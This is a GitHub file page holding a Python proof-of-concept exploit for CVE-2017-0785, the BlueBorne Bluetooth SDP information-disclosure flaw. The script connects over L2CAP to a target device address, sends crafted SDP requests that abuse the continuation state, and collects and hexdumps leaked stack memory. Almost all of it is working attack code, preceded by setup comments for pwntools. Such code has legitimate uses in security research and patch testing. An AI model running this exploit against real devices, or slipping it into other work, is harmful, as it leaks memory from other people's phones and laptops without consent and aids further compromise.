forked from pieterbork/blueborne
-
Notifications
You must be signed in to change notification settings - Fork 1
/
blueborne_vuln.py
119 lines (96 loc) · 2.67 KB
/
blueborne_vuln.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/share/python3
#####################################################################################################
#
# CVE-2017-0785-BlueBorne-PoC
#
# apt-get update
# apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
# pip install --update pip
# pip install --update pwntools
#
# git clone https://github.com/Gallopsled/pwntools
# pip install --update --editable ./pwntools
#
#####################################################################################################
from pwn import *
import bluetooth #from pybluez import bluetooth
import sys
import time
# Check for args
#if (len(sys.argv) != 2) or (not ':' in sys.argv[1]) or (len(sys.argv[1]) != len('XX:XX:XX:XX:XX:XX')):
# print ('Usage: ' + sys.argv[0] + ' [TARGET XX:XX:XX:XX:XX:XX]')
# exit(1)
# --
#target = sys.argv[1]
#service_long = 0x0100
#service_short = 0x0001
#mtu = 50
#n = 30
#context.endian = 'big'
# Function that confirgure the Packet for send
def packet(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += p16(7 + len(continuation_state))
pkt += '\x35\x03\x19'
pkt += p16(service)
pkt += '\x01\x00'
pkt += continuation_state
return pkt
def exploit(target=None):
# # Check for args
# if (len(sys.argv) != 2) or (not ':' in sys.argv[1]) or (len(sys.argv[1]) != len('XX:XX:XX:XX:XX:XX')):
# print ('Usage: ' + sys.argv[0] + ' [TARGET XX:XX:XX:XX:XX:XX]')
# exit(1)
# --
# target = sys.argv[1]
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30
context.endian = 'big'
if not target:
try:
target = args['TARGET']
except:
log.info("USAGE: cve20170785.py TARGET=XX:XX:XX:XX:XX:XX")
# Creating progress log
p = log.progress('Exploit')
p.status('Creating L2CAP socket')
# Start socket L2CAP
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
time.sleep(1)
p.status('Connecting to target')
try:
sock.connect((target, 1))
except Exception:
try:
log.error('Unable to reach device ' + target)
except Exception:
exit(1)
p.status('Sending packet')
try:
sock.send(packet(service_long, '\x00'))
except Exception:
try:
log.error('Unable to send packets')
except Exception:
exit(1)
data = sock.recv(mtu)
if data[-3] != '\x02':
try:
log.error('Invalid continuation state received.')
except Exception:
exit(1)
stack = ''
for i in range(1, n):
p.status('Sending packet %d' % i)
sock.send(packet(service_short, data[-3:]))
print (packet(service_short, '0f'))
data = sock.recv(mtu)
stack += data[9:-3]
sock.close()
p.success('Done')
print (hexdump(stack))
if(__name__=="__main__"):
exploit()